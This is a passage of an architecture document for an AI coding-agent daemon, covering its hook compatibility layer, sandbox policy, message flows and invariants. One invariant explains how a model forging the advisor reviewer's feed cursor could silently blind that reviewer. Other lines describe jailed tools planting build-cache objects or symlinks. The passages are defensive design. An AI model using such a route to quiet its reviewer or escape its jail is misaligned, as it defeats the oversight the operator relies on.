cached byte prefix — and returns *both* halves of one discovery: the
`contributions.Contribution` per extension, appended after the built-ins,
and the `hosts.Extension` recipe the satellite registry launches from.
One pass rather than two, because deriving them separately is how a host
and a tool come to describe different extensions. A repeated name refuses
the boot in `contributions.registry`.
**The satellite registry follows the scratch store's two-name pattern.**
`assemble` mints `loom_ext_hosts` before the tool registry is built, hands
`extension_hosts.seam(name, margin_ms:)` to the dispatch configuration,
and adds `extension_hosts.supervised(name, extensions.hosting)` to the
*services* supervisor — that tier because a registry restart costs exactly
what a satellite crash costs, which extensions are already written to
meet: every host it held is `Gone` to its next caller, the tools stay
registered, and each lost node is reaped by the launcher's own janitor.
`extension_host_margin_ms` (30 s) is the slack a caller's wait has over
the invocation's own deadline, so a caller never reports a wedged registry
for an invocation that was merely being timed out properly.
**The TCB freeze is a test in this package.**
`client/test/client/extension/freeze_test.gleam` is #33's record in code:
the compile-time half walks the package graph (`packages/ext` names only
`cap`, `cap` only `core`, `core` none), the resolved `manifest.toml`,
`codemode/seed.default_vendored`, and every import in `packages/ext/src`
and `packages/cap/src`; the runtime half pins `policy.extension()` and
`policy.resident()` as exact sets and shows both disjoint from every
module the TCB packages ship, walked from the tree so a new module under
`storage/` is covered the day it lands. It lives here rather than in
`codemode` because only this package can see both the seams and the tree
without a new dependency. The loader (#32) is deferred;
`docs/review/extension-zone.md` says why and carries the measurement a
loader would inherit.
**The verb split lives in `client.gleam`, not `serve.main`.** The
installer needs the boot's own effect plane, so `extension/cli` imports
`client/serve`; putting the dispatch in `serve` would be an import cycle.
`client.gleam`'s module doc says so, so the next reader does not move it
back.
**`serve.start_effect_plane` and `serve.start_build_plane` are the boot's
own, factored out.** An install runs the same jailed, network-off `gleam
build` a code-mode program is built by, against the same seed, under the
same base policy, found by the same helper and seed ladders. Two
implementations would be two answers to "may this build run". The
`writable` and `workspace` arguments are separate questions and a boot
only ever asks them of one directory: the seed ladder looks in the
checkout, and the jail may write only where the build root is, which for
an install is under the extensions root. `state_root` is the third: the
daemon's credentials sit one directory above the extensions root and the
build plane masks them where the jail can build the mask.
`serve.start_check_plane` is the third caller's shape: the same helper
ladder and effect plane over `build_plane_policy(workspace, state_root)`,
with no toolchain discovered, for `loom ext check`; `lsp_places` and
`lsp_server_roots` are public so the check expands a profile's roots
exactly as a session does.
## Imported hooks
The Claude-compatible hook layer (issue #350) is six modules, one
question each, and one composition point in `serve`:
- `client/hookcompat` — the model both accepted formats decode into: the
Claude settings JSON verbatim and the native `[[hooks.Event]]` TOML.
Both parsers are total with worded errors; unknown handler *fields* are
ignored (Claude ignores them), an unknown event or handler type is a
refusal. Two entry points for the Claude shape, because the caller is
the one who knows which document it located: `parse_claude` reads a
**bare hooks object** (a plugin's `hooks/hooks.json`), and
`parse_claude_settings` reads a **whole settings file**, descending its
`hooks` key and returning an empty `Config` when there is none. Choosing
between them by guessing at the absent key read `permissions` as an
event name and refused the ordinary user settings file. `merge`
concatenates in the caller's precedence order and never replaces;
`to_toml` renders the native shape losslessly (no CLI exposes it yet);
`hash` digests the model canonically for the trust record and ignores
the `Source` it was read from; `notes` reports unsupported kinds and
no-moment events at load time rather than loading them silently.
- `client/hookrunner` — one imported command hook as one jailed
process through `broker.clear_call`, the worktree observation's own
pattern: `sh -c` shell form or `args` exec form, the event JSON on stdin
closed after, the handler's `timeout` seconds as the wall limit and
the budget deadline, a timed-out run reporting `WallCancelled` with no
output for the caller to read a decision out of. `Outcome.capture`
(`Whole | Clipped`) is the same story for the output cap: a stream cut
at the cap is blanked exactly as a cancelled one is, so a half-written
object cannot classify as a clean decision. The environment is the
session's, composed by `serve.hook_environment`; the cwd is
the workspace, and the jail is the session's base policy — never a
grant the hook could widen. **The requirement is the keys of that
environment under `RefuseNarrowed`**, so every name it carries has to
be on the session base's allowlist or the whole call is refused before
a process exists; `workspace_policy.allowing_imported_hook_env` is what grants
`CLAUDE_PROJECT_DIR` there, beside `allowing_tool_tmpdir`'s `TMPDIR`.
Nothing rewrites the command string: `Context.env` carries `HOME` and
the shell expands `~` against it, so the substitution
`serve.hook_environment` makes is the whole of the tilde story. `HOME`
is deliberately not a field of `Context` — `call_spec` derives the
`env_allow` requirement from the keys of `env`, and a second copy
could disagree with the one the process actually runs with.
- `client/serve.hook_environment(List(#(String, String)),
Option(String), String)` — the environment one imported hook runs
under: the session's, with `HOME` replaced by the operator's home when
there is one, plus `CLAUDE_PROJECT_DIR` naming the workspace. A jailed
*tool* keeps the workspace-local `tool_home_directory` so what a
toolchain writes to `$HOME` stays off the operator's tree; a hook
cannot, because an imported collection names scripts at
`~/.claude/hooks/...`. `None` — a daemon started with `HOME` unset —
leaves the jail home standing.
- `client/hookdecisions` — a finished outcome read back as the decision
the pinned contract (`docs/design-notes/claude-hooks-contract.md`)
specifies, per event: exit 2's block, the `hookSpecificOutput` field
set guarded by its `hookEventName`, plain-stdout context on the four
context-carrying events, and the 10,000-character cap.
- `client/hookwire` — the event boundary: the matcher classification
(exact lists versus unanchored regex by the contract's character
rule), the payload's common fields, the Loom↔Claude tool-name mapping
(`bash`→`Bash`, `fs_write`→`Write`, …) applied to matching only, and
the verdict combination rules — first deny wins, a rewrite survives
only when nothing harder landed. `matching_handlers` keeps only
`Command` handlers, which is what makes "parsed, not run" structural
for the other four kinds rather than a promise each gate has to keep.
- `client/hookserve` — source loading with per-source trust (`client/hooktrust`)
and the composed gates: `tool_gate` at the clearance, `tool_feedback` at
the result fold, `session_context` at run start, `compaction_note` at
the summarizer, `stop_gate` at the run-end boundary. `Located.shape`
(`ClaudeSettings | ClaudeHooks | LoomToml`) is what picks the parser.
`Serving` carries the merged configuration **only inside `wiring`** —
a second copy diverged from it and every gate matched nothing — plus
`skipped: List(Skipped)` (path and the reason, so the boot log can
say which of "unreadable", "will not parse" and "not trusted" it was)
and `notes` for `hookcompat.notes`' findings. `wire` wraps a session's
`Effects` the way the native extension bus's `wire` does, so both
layers coexist; one small `weft/actor` holds both pieces of state the
wrapped slots need — the Stop gate's per-operation continuation tally
and the `FirstRun | LaterRun` flag that keeps `SessionStart` to once
per composed `Effects` — because those slots are plain functions that
can keep no state of their own. The Stop gate is asked only when
`built.run_end` placed nothing, which is why that `case` is nested:
Gleam evaluates both subjects of a two-subject `case` before matching.
The composed `clear` slot takes the wrapped `clear` **function**, not
its answer, because a `PreToolUse` `Rewrite` has to re-enter it: every
upstream gate answered about the arguments the model sent, so
`recleared` puts the replacement back through the harness's clearance
and returns that second clearance's whole answer, `effective_arguments`
included: a wrapping layer that normalizes or fills a default hands
back arguments other than the ones it was asked about, and returning
the hook's own literal would have kept that layer's work on the first
pass and dropped it on the second. The hooks are not asked a second
time — a gate that could rewrite the input of its own next ask has no
fixed point. The messages the gates place carry the placing event's
own name (`hook_message`), so a `SessionStart` injection reads as one
rather than as a stop that never happened.
- `client/hooktrust` — the recorded, hash-pinned trust a non-managed
source needs before it runs: one JSON record per source under
`<home>/hooktrust`, so a changed file re-enters review. The operator's
user-level settings are trusted on **first** sight and re-enter review
once their hooks change; a project, local or plugin source asks first,
and nothing in the tree can answer yet — `loom hooks trust` is
follow-up work, so those sources stay skipped. A server with no home
has nowhere to keep a record and therefore trusts no imported source.
The pin covers the declaration, not the scripts the commands name.
`serve.with_imported_hooks` is the one composition point, called after
`with_extension_hooks` so an imported hook's verdict lands after the
native bus's and the harness's own clearance — one authority story.
A session with no imported sources composes nothing. The parity
matrix is `docs/architecture/hooks-compat.md`, whose "What is verified
where" says which layer each claim is tested at; the fixtures are
`docs/fixtures/hooks-compat/`. `hookserve_e2e_test` is the acceptance
case: a real `serve.open_instance` under a temporary `Settings.home`,
an unedited user-level collection, and all four composed events firing
across one operation a `Stop` block holds open.
## Relationships
The `sqlight` module is supplied by the `sqlight_loom` Hex package, whose
`esqlite_loom` dependency carries the native query-retirement repair.
The module API is unchanged; the upstream packages must not coexist with
these forks because they define the same modules.
- **Depends on**: `host` (shared daemon OS bootstrap and WebSocket transport),
`core` (json, codec, entries, messages), `session`,
`runtime` (`api`, `effects`, `escalation`, `supervisor`, `writer`),
`events` (the bus as a hint source), `storage` (catch-up scans),
`machine` (`acceptance`, `queue`, `codec` — structural preparation and
typed durable state), `broker` (`policy.Grant`,
`escalation` vocabulary), `provider` (`stream.Delta` for the tap),
`prompt` (the system pack, its decoder and renderer),
`codemode` (the vetting policy, the hermetic compile service, the
production builder and launcher, and the satellite host — the pipeline
`client/codemode` fills the `tools/codemode` seam with),
`mcp` (the JSON-RPC codecs, the stdio client actor, the façade
generator and the value interchange `client/mcp` wires into code mode),
`telemetry` (the JSON handler this entry point installs, and the
logger it injects into `api.Options`),
`mist` + `gleam_http` (the websocket transport), `simplifile` (the
token file, the pack file, and the session's instruction files),
`weft` (the bounded concurrent run `client/mcp.start` fans server
bring-up out over, native subscription witnessed tasks and custody ledgers,
and per-profile lock polling), `gleam_crypto` (PKCE entropy and constant-time
state/nonce comparisons), and `gose` (maintained JWT/JWK signature and claim
validation).
- The spec DAG (§0.1) writes `L → A,C,E,K`. The `B`, `D`, `F`, and `G`
edges are real and load-bearing — catch-up scans storage directly,
compaction and navigation build `machine/acceptance` plans, the delta
tap types against `provider/stream`, and grants are broker policy
values — and are worth knowing about rather than papering over. The
wiring promotion added `tools` (the registry and per-call `Ctx`);
`client/serve` added `argv` (flags); `client/catalog` added `tom`
(the pure-Gleam TOML parser behind `--config`); `client/system_prompt`
added `prompt`, whose purity is why the I/O had to live on this side;
`client/schedule` added `gleam_time` as a direct dependency — already
resolved transitively through `tom`, and its total
`gleam/time/timestamp.parse_rfc3339` is what a one-shot schedule's
`at` field parses with, rather than a second RFC3339 parser or TOML's
own bare datetime literal.
- **Depended on by**: `conformance`, whose wiring and e2e suites import
`client/wiring` (legal — T depends on all). `packages/tui` is its
native client, coupled only through the protocol and the golden fixtures.
- **`client/internal/timebase`** is the one non-FFI module under
`internal/`: it adapts a `core/clock.Clock` and a seam's injected `rest`
into the `weft/poll.Clock` the two foreground waits run on
(`escalate.park`, `agency.wait_loop`). Its module doc carries the ruling
a reader will otherwise re-derive — the successor clock `clock.read`
hands back is discarded, because `from_function` returns itself and
re-calls the injected function on every read, and `clock.stepping`
cannot serve a loop that holds one clock value across many reads. A wait
built on a clock whose `now` does not move never expires; every fixture
in this tree that drives one of these waits is a `from_function` over a
counter actor for that reason.
- **FFI**: `client/internal/ffi_os` over `client_ffi.erl`, serve-only:
wall clock, unique entropy, `PATH` lookup, `code:root_dir/0` and the
running ERTS version (the anchor `client/install` builds every
in-tree path from), `os:type`/machine
architecture for the prompt's platform line, the SIGTERM relay,
`sys:terminate/3` for stopping the service supervisor the way OTP
stops one, and the documented exit-code halt. Test-side, `client_test_ffi.erl` is a
minimal websocket probe for the boot smoke.
- **Native subscription effects** reuse `host/bootstrap` private bounded
reads, atomic writes and kernel launch locks, `provider/http` native HTTP
ownership, and `client/daemon/listener`'s parked Mist listener. No custom
subscription FFI or authentication helper is needed by `client/codex`.
The pinned Weft revision starts cancelling adopted owners when a worker
exits unreported, which the transport's custody tests rely on.
## Traffic
- `serve` injects `codex_transport.transport()` into assembled catalogue
gateways. `gateway.CodexTransport.prepare_streaming` requests a parked
`http.PreparedRequest`; the gateway publishes its owner before `begin`.
Inside that operation, `profile.auth(profile, ledger)` acquires the durable
credential lock, obtains an authorized bearer, and releases the lock before
the fixed public `/v1/responses` request is prepared. The transport adopts the
prepared native HTTP owner into the same ledger before starting it.
`http.ResponseStatus`, `ResponseChunk`, and `ResponseEnd` reach the existing
provider stream pump. A fixed local authentication refusal becomes a
redacted 401 response; no saved token or account subject enters those events.
- `codex/transport.command` runs `profile.execute` with
`codex/profile_control.Command` and a `Subject(ControlEvent)`. Browser login adopts
`daemon/listener.Listener`, opens ephemeral literal loopback, and emits
`LoginInstructions` only after the bound port is known. The attempt worker
checks each request's Host against that actual authority before issuing the
private redirect or consuming the state-checked callback. The ten-minute
browser budget is absolute. The issued client registration is saved with the
grant only after the code exchange and identity verification succeed, and
that save precedes `LoginComplete`.
Model discovery decodes the subscription endpoint's `models[].slug` and
`visibility` fields, validates the whole bounded catalogue, and projects only
listed identifiers in server order. Model instructions and unknown metadata
never enter the operator event; the Platform API's `data[].id` is not this
endpoint's subscription response.
`Models` calls authenticated public `/v1/models`, bounds its body, and emits
only validated IDs through `ModelCatalogue`.
- `Logout` attempts refresh-token revocation, clears the grant locally, and
retains issued client, host and verified subject. An unconfirmed upstream
revocation produces `LogoutRevocationUnconfirmed` rather than retaining local
tokens. It does not retract a request already admitted to HTTP. Temporary
refresh failures preserve the durable grant; terminal refresh failure clears
tokens while preserving registration. Each later operation rereads disk.
- `protocol.ListSkills(offset)` is a subscribed read available to observers.
`SkillsSnapshot(board)` returns bounded consecutive metadata rows with a next
cursor. Explicit slash text still uses existing prompt/content/steer/follow-up
commands. Expansion precedes held-input custody, so later file changes and
queue draining cannot replace the captured instructions or original author.
- **Actor messages**: `gateway.Message` — `Attach(sink, reply)` (a call,
returning the connection id), `Detach(connection)`,
`FromClient(connection, text)`, `CommitHint`, `BusHint(published)`, and
`ProviderDelta(operation, generation, delta)` and
`ProviderEnded(operation, generation)` (casts). Senders: `client/server`'s
socket handlers, `commit_forwarder` (from `runtime/writer.Event`),
`events/bus` subscriptions, and `tap_provider`'s wrapper. The hub's bus
subscription is keyed by the session's **canonical id**
(`bus.key(of: api.session_id(runtime))`), never by the caller-supplied
display name (`protocol-change/008`). Under network delivery the hub
joins the `Outputs` topic alone and turns each `ToolOutput` into a
pushed `tool_output` frame without pulling, and each `BlockSummary` into
a pushed `block_summary` frame the same way (protocol 050); every other
`BusHint` is a pull. The host fixture joins every topic.
- `blocksummary.Message` (opaque) — `Streamed(operation, generation,
chunk)` and `StreamEnded(generation)` (casts from the provider relay's
observer process, per reasoning fragment and per stream end),
`Committed(seqs)` (mapped from the `writer.Event` the writer sends to
the machine's own commits address) and `Relayed(flight, pulled)` (a
request's relay, on its per-flight sink). A lost cast costs one live
summary, which the stream's next growth offers again; a lost hint is
covered by the next hint's scan from the high-water.
- `gateway.DrainHeld(flushed, reply)` fences mutations, returns held items,
queues each transport's flush marker, and replies with the acknowledgement
count. `daemon/session_socket.Flush` follows `Push` from the same gateway
sender and acknowledges completed socket writes. The drain task receives
these acknowledgements outside the gateway, within its remaining budget;
a socket can still finish a request against that gateway while flushing.
- `advisor.Message` — `PrimaryRunEnded(operation)` and
`AdvisorRunEnded(operation)` (casts, from the wrapped `run_end` slot on
the strand driver's own process), `PrimaryStepped(operation)` (a cast,
from the wrapped `usage` slot on the same process, one per committed
provider request of the primary's), `Judge(strand, verdict, reply)` (a
call, from the `advise` tool's effect process, bounded at
`judge_timeout_ms`), `TakePending(operation:, reply:)` (a call, from the
wrapped `run_start` slot, bounded at `pending_timeout_ms`) and
`TakeAtRunEnd(deadline:, reply:)` (a call, from the wrapped `run_end`
slot, the same bound, carrying that bound as a wall-clock instant so a
request served after the hook gave up answers with nothing rather than
spending the turn into an ended run). `TakePending` carries the operation being opened because
the actor reads it as well as answering: a run start whose operation is
not the one this actor itself last woke is where this operator turn's
one unsolicited-delivery budget is handed back. `TakeAtRunEnd` carries
no operation, because it decides nothing from one — the hook has
already established whose run is ending, and it is where that budget is
*spent* rather than renewed, and only once per turn: a second ask
inside the same turn answers with no nudges without touching the guard.
All three calls go through a monitored send-and-select rather than
`process.call`, so an absent or wedged actor degrades to no nudges and
an in-band refusal instead of killing a strand driver or a live tool
effect. All three notifications are casts on purpose: a driver that
waited on a branch scan and a provider round trip would stop serving
`Nudge`, `RequestAbort` and `PollTick` for the length of a review. A
lost step cast costs a threshold reached one step later, never one not
reached.
- `glance.Message` (opaque) — `Stepped(operation, context)` (a cast, from
the wrapped `usage` slot on every strand driver's own process, one per
committed provider response), `Wake` (the machine's own named timeout)
and `Relayed(strand, pulled)` (a request's relay, on the per-request
sink the machine selects while that flight is booked: the task's
`PulledOutcome`, then `AllDelivered` or `RunLost`). The step is a cast
because a strand's run must never wait on a label. A lost cast costs one
refresh, which the strand's next step offers again.
- `history.Message` — `Pull` (a cast: a commit landed, go sync),
`Synchronize(reply)` (a call, for a test or an operator), `Query(text,
limit, scope, reply)` (a call, from the tool seam), and `Stop`.
Senders: `commit_pull`, the writer's *second* subscriber, which is what
makes recall a commit-driven projection rather than a scheduled sweep;
and `client/history.seam`, from a live tool call's own effect process.
Both reach the holder by name, and both degrade an absent or wedged
holder to an in-band refusal rather than to a dead caller.
- **Commits**: the hub commits nothing of its own except through the
session's one writer. Commands map onto `runtime/api`
(text or ordered-content prompt/steer/follow-up/abort, escalation approve/deny, strand
creation, compaction and navigation). `api.compact` and `api.navigate`
build the `machine/acceptance` plans and commit through `runtime/writer`,
sharing admission with every other runtime caller. Nothing bypasses the writer. An absent runtime writer is a typed
`api.RuntimeUnavailable`, rendered as a retryable `conflict` by the gateway;
the rule and schedule scanners hold the attempted admission for a later
scan. This is distinct from a lost reply, whose commit may already exist.
- **Registers**: reads `strand.*` (configuration, leaf, state, last
result) and `op.meta`/`op.state` through the session's typed accessors
to build snapshots and detect terminals; reads the runtime's escalation
records under `fact.custom`'s reserved `escalation/` prefix, and the
assembled system prompt and its enforcement identity under the reserved
`prompt/` prefix — read off the session store directly before `api.open`,
written back through `api.put_reserved_fact` after it. The rule scanner
owns the reserved
`rule/` prefix: `rule/fired/<strand>/<name>` write-once marks, committed
with the injection they authorize, and `rule/cursor/<strand>`
checkpoints, written lazily. Every one of the scanner's *reads* goes
straight to the session store, never through the writer's mailbox, so
a scan can never sit in front of a settlement; the fire itself is an
ordinary queue admission through the writer, on the scanner's own
process. Protocol `fork` and `create_strand` seed idle strands through
`api.create_idle_strand`, whose CAS-guarded commit writes `strand.config`,
`strand.leaf` and `strand.state` without admitting a task brief.
- **Search index**: `client/history` writes only to the repository's own
`loom-search.db`, beside the session file and never inside it, through
`events/search.sync`. Index rows and the advanced cursor commit in one
transaction, so a crash mid-batch re-runs the batch into the same
state; a lost poke costs latency and never a row.
- **Memory**: the boot's own probe still opens nothing — it reads the
store's header lease-free (`storage/sqlite.generation`), and an absent
store is the ordinary state of a repository that has never remembered
anything — but the *server* now writes the store, through the
supervised `client/distillpass` worker every ordinary boot starts
(#149). It reads `loom-memory.digest` at **every run start** through
`memory.digest_hooks`, which takes a thunk rather than bytes for
exactly that reason: this host runs the producer as well, and a digest
captured at boot would hold every session one pass behind its own
pipeline. Memory therefore lands on *run* boundaries rather than
session boundaries, which costs the same rolling tail write it always
did — the digest rides messages, never the pinned head — and nothing
can touch a run already open. The writers are `client/distill` (the
pipeline, holding the memory session's writer lease for its whole run
under `run_lease_ttl_ms` — or under the short one for a `--cascade`
pass, which has no model turn between its commits), reached either from
the lifecycle worker or from the command line, and the `remember` seam
(one open per call under the short `lease_ttl_ms`, refused in band
while a run holds the lease). Usage rows for both model turns land in
the memory session's own ledger.
- **Wire**: JSON text frames over websocket. The envelope `seq` **is the
storage seq** of the write that produced the event, so the durable
stream needs no side index and `catch_up` rebuilds it with
`scan_entries` / `scan_usage` plus register reads.
- The `conformance/simulation/daemon` harness and scenario runners are
sanctioned callers of `@internal` `daemon/root` and `daemon/manager`
operations. They drive startup, lifecycle, authority and domain retirement
through the real registry; a rename here must update those callers.
## Invariants
- Markdown skills are assembled from the daemon's configured home, not a
terminal's filesystem. Metadata reads never disclose bodies. Automatic tool
dispatch honors `disable-model-invocation`, while slash invocation honors
`user-invocable`; neither path changes broker policy. Existing sessions retain
their configured active tool names, including deliberate deactivations.
- **The advisor actor is the only writer of `advisor/feed/cursor` and
`advisor/guard`.** Both are `fact.custom` cells under
`api.advisor_fact_prefix`, a reserved corner of the namespace: the
ordinary `put_fact` refuses the prefix and `facts` hides it, so the
actor writes through `put_reserved_fact` and reads back with the plain
`fact`. Forging either therefore takes two independent failures rather
than one, because the fact write a model reaches is the Agency
blackboard and that composes every key from `agent/` and the calling
strand's own name. The cursor is the cell that matters: a large integer
written under it would move the reviewer past everything the primary
will ever append, and the symptom would be a quiet advisor rather than
an error anybody sees. The cursor advances only
after a feed has been committed onto the advisor's branch, or when a
scan found entries that all rendered to nothing — a stretch of custom
rows would otherwise be rescanned and re-skipped at every run end
forever. A feed that fails to send leaves the cursor alone, so the next
run end offers the same stretch again.
- **Backpressure is coalescing, and the advisor's own run end is exempt.**
A primary run end whose advisor already has a run open sends nothing and
leaves the cursor, so the stretch it has not seen arrives later in one
larger slice rather than in a queue of small ones. `AdvisorRunEnded` does
not make that check: the driver resolves `run_end` before the run closes,
so the advisor still reads as busy at exactly the moment its review
finishes, and a catch-up that yielded to that would never catch up on
anything. What gates it instead is a debt: a coalesced feed sets
`Memory.owed`, and a review end with nothing owed sends nothing. Without
the debt a review end would send any delta past the cursor, and since
the primary appends throughout its own run it would find something,
feed it and be asked again whether or not anybody wanted a mid-run
review. The debt lives in the actor's heap, not in a cell: a restart
that forgets one delays a review to the primary's next run end.
- **The step threshold is a floor, and the loop above is what makes it
one.** A feed owed part-way through a run while the advisor is reading
is coalesced and owed like any other, so the review end pays it and the
cadence settles at one review per review duration rather than one per
`feed_every_steps`. That is deliberate — it is what bounds staleness
when the reviewer is the slower model, which is the documented pairing —
and it is the feature's real cost. `feed_every_steps = 0` is the way
back to the run-end-only cadence. The count restarts whenever a slice is
*offered*, coalesced ones included, so a run end always resets it and a
short run cannot inherit a long one's count.
- **The strand driver never waits on a review.** The advisor's `run_end`
and `usage` hooks cast and return the inner answer; nothing about a feed
— the branch scan, the render, the send, the durable writes — runs on the
driver. The one bounded wait is `run_start`'s nudge drain, because the
nudges have to be in the message list that slot returns, and a slow or
absent actor yields no nudges rather than a stalled run.
- **`advise` is registered for the session and granted to one strand.**
The tool registry is per session, so the definition exists once; the
primary's `active_tool_names` withholds it and
`advisor.ensure_strand` adds it to the advisor's. The seam refuses a
call by the caller's durable strand name in any case, so a registration
mistake is a refusal rather than a second operator. A host that
deactivated `advise` seeds no advisor strand at all: `ensure_strand`
refuses by name rather than leaving a strand with a driver, a model and
nothing it can say.
- **A linked git worktree widens the session base to its git directories.**
`workspace_policy.widening_linked_worktree` reads `<workspace>/.git`; when it is a
`gitdir:` file, the named directory and the main repository's `.git`
its `commondir` points at join `writable_roots`, because a jailed
`git commit` must write the index lock and objects there and both sit
outside the workspace. It is the trust a primary checkout's `.git`
already has. A primary checkout, a non-repository, or an unreadable
`.git` file leaves the base untouched.
- **A jailed child's environment reserves five names per session.**
`workspace_policy.session_environment` gives every tool shell, satellite and hook
host the same `PATH`. The bundled toolchain stays first, followed by the
explicit additions and host PATH, so arbitrary installations are discoverable
without naming language-manager directories. Lookup does not widen filesystem
reads. The other server-owned names are
`HOME` (`<workspace>/.codemode/home`, so what a toolchain writes to its home — macOS makes a
`Library/Caches` — stays out of the operator's tree) and `TMPDIR`
(`<workspace>/.codemode/tmp`, a writable fallback). `LOOM_SCRATCH_DIR`
starts empty so call requirements include the name; the helper replaces
it with the execution's actual scratch path or removes it when none exists.
The session base grants both temporary-directory names, because the policy
meet keeps only names both sides allow. Compiler-owned `TMPDIR` values
remain unchanged.
- **Git receives identity defaults, not the operator's full configuration.**
Before runtime admission, `git_identity.prepare` queries configured global
`user.name` and `user.email` through a read-only broker call in the workspace.
Git resolves conditional includes; inaccessible or malformed configuration
produces a warning and empty defaults. The helper's fixed publication mode
writes `<workspace>/.codemode/home/gitconfig` through directory descriptors
anchored to the original write grant. It quotes the two accepted keys with
Git's configuration grammar and creates no unrelated host mountpoints.
`GIT_CONFIG_GLOBAL` selects that file, which always sets `user.useConfigOnly`.
Repository and worktree identity overrides retain normal precedence, and
cherry-picks preserve their original author. No credentials or hooks are
copied. A write refusal aborts assembly; host code never follows a planted
tool-home symlink to publish this file. Imported operator hooks keep their
original HOME and ordinary global Git configuration.
- **Jailed Git calls use the host-resolved binary, never the Xcode shim.**
`serve` fills `worktree_diff.Wiring.git` once per assembly from
`host_git.program`, and both `git_identity` and `worktree_diff` name it in
`argv[0]`. On macOS `/usr/bin/git` is a shim that runs `xcrun`, and a miss
in `xcrun`'s per-user cache (keyed partly on HOME) rewrites the whole cache
file. That rewrite runs under the call's one-megabyte `fsize_bytes` limit;
once the cache exceeds a megabyte it is killed by `SIGXFSZ` (exit 153)
before Git starts. `host_git` therefore asks `/usr/bin/xcrun --find git`
on the host, outside every jail, only when the Git on `PATH` is exactly
`/usr/bin/git` on Darwin, and keeps the found path if `xcrun` fails. Linux
and a non-shim Git are unchanged. Under `WorkspaceReads` on macOS the
Seatbelt system view grants `/Library` but not `/Applications`, so an
Xcode.app toolchain's Git is unreadable there; it was already unreachable
through the shim, which execs the same binary.
- **The blob store lives in the daemon's state, not the workspace.**
Content-addressed artifacts (oversized tool output, `report.emit`, job
spill) used to be `<workspace>/.blobs`, protected from every jail. On
macOS Seatbelt renders `protected` as unreachable, so once an artifact
existed a model's `ls -la` in the workspace exited 1 (`ls: .blobs:
Operation not permitted`) and `git status` warned; Linux masked it with an
empty tmpfs and left a mount point in the checkout. `serve.session_blob_root`
now answers `blobs/` beside the session's domain files:
`<state root>/workspaces/<sha256 of the canonical workspace path>/blobs`
for a workspace-private domain (one store per workspace, so no other
workspace resolves its ids), `<state root>/domains/sessions/<id>/blobs`
for a session-only domain, and `<session dir>/blobs` for a standalone host
with no domain. The state-root masks `workspaces/` and `domains/` already
keep every jail out, so `base_policy` carries no `protected` entry and the
workspace holds no harness directory but `.codemode`. A standalone host
has no state root, so `protecting_standalone_blobs` protects the store
unconditionally (`workspace_policy.protecting_blobs`), like the index
database, since `prepare_directories` creates it before any jail runs. The
root is an input to the workspace half, not something the plane derives:
`serve.assemble_in` computes it once, `serve.workspace_spec` puts it in
`WorkspaceSpec.blob_root` (with the standalone protection already applied to
the spec's base policy), and `workspace_plane` hands the one string to the
tool context, the code-mode `into_blobs` and the jobs spill. The census
carries it back as `Census.blob_root`, which is how an owner whose workspace
is on an executor learns where that machine keeps the store. `tools/fs` treats `Ctx.blob_root` as a readable root for its
authorization, because the store is outside the workspace and `fs_read`
opens refs by path under `read_scope = "workspace"`; writing it is not
granted. `client/blobs.adopt_legacy` runs in `serve.assemble_in` right after
`workspace_plane.prepare` has made the store, for a local workspace only: it
copies each `sha256-<64 hex>` file from a workspace's old `.blobs` into the
new store after checking that the bytes hash to the name, skips (and logs)
one that does not, a link, a non-file or one over 256 MiB, stops after 5 s
and continues at the next start, and never deletes anything. It refuses a
`.blobs` that is itself a link (`link_info`, not `is_directory`), which a
jail could point at another workspace's store, and remembers lasting
refusals in `.legacy-rejected` in the new store so planted garbage is not
re-hashed at every start. The old
directory is an ordinary directory afterwards, and nothing reads it:
`worktree_diff` still excludes it from the untracked listing.
- **A jailed Go tool's caches live outside the checkout, per workspace.**
`client/gocache` locates `<cache>/loom/workspace/<sha256 of the
workspace path>` (`<cache>` as `lsp_places` resolves it) and
`workspace_policy.session_environment` points `GOCACHE`, `GOMODCACHE` and
`GOLANGCI_LINT_CACHE` beneath it; they used to land under the tool
`HOME` inside the operator's checkout (20 GB measured). The root joins
`writable_roots` through `gocache.admitting` in `session_base`, the same
path a linked worktree's git directories take, and the bash tool asks
for the base's roots so the grant reaches macOS and Linux alike. The
build cache is never the host's: `go build` trusts `GOCACHE` entries
unverified, so a shared one lets a jailed tool plant an object the
operator's own build links. `[workspace] go_module_mirror` mounts the
host module cache's `cache/download` read-only, optional so a vanished
mirror degrades to the public proxy, and sets `GOPROXY` to
`file://<mirror>/cache/download,https://proxy.golang.org,direct`;
`[tools]` may not name the owned names (`GOPROXY` only with a mirror),
checked by `workspace_policy.go_cache_fault` at boot together with the mirror's
existence and its non-overlap with the workspace, protected paths and
the root. `[workspace] go_cache_limit_mib` (default 10240) bounds the
build cache: at session start a weft task measures it with `du -sk`,
renames it out of the jail-writable root to the sibling
`<root>.trash-<unique>` when over the limit, creates an empty
bare replacement with a non-recursive `mkdir` (Go fills it in; a
recursive create would follow a planted link), and sweeps the parent's
`<digest>.trash-*` entries (never reading inside the root, since
`del_dir_r` is path based and the jail could swap a directory for a link
mid-delete). `locate` returns `None` when the workspace covers the cache
place, so the root is never inside a jail-writable tree, and
`gocache.fault` refuses a read-write `[workspace] mounts` entry covering
the root's parent, which would make the retired trees writable again. A
rename keeps a live session's open files and fresh opens consistent; a
build that held the old cache open fails once and a retry clears it. The caches are absent, and
Go falls back to the tool `HOME`, when the daemon has no cache
directory. Existing `.codemode/home/...` caches are not deleted.
- **The `[tools]` table selects network and extra environment.**
`catalog.parse_tools` reads an operator's `network = "off" | "full"`
(full is the default and what an absent table means) plus `env` names
read from the host at boot and `[tools.set]` literals;
`workspace_policy.tool_environment` appends them *after* the five server-owned
names, and `workspace_policy.under_tools_config` puts the chosen network on the
session base and every configured name on its `env_allow`. The daemon
`--network off|full` flag overrides the selected file at session resolution. Both halves
are load-bearing and neither implies the other: the meet takes the
narrower network. Bash asks for the base network, while native search
remains offline and passes only PATH. The meet also
intersects `env_allow`, which is why a name in the environment but not
on the allowlist is a narrowing refusal rather than a variable. `PATH`,
`HOME`, `TMPDIR`, `LOOM_SCRATCH_DIR` and `GIT_CONFIG_GLOBAL` are refused from both lists by
the parser, so the
ordering in `tool_environment` is the second lock rather than the only
one. A configured name the host has not set is skipped with one
`tools.env_unset` warning, never a boot failure.
- **Envelope decoding is strict; name decoding is tolerant.** `v` must be
`1`, the discriminator must be present, and a command `id` must be
present and positive. Unknown `cmd`/`event` *names* survive as
`UnknownCommand` / `UnknownEvent` so the receiver can answer in band;
unknown *fields* inside known bodies are ignored (forward compatibility
within v1).
- **Everything in `protocol` is pure and total.** Malformed input is a
`ProtocolFault` value, never a crash.
- **A content prompt is admitted atomically.** The gateway decodes every
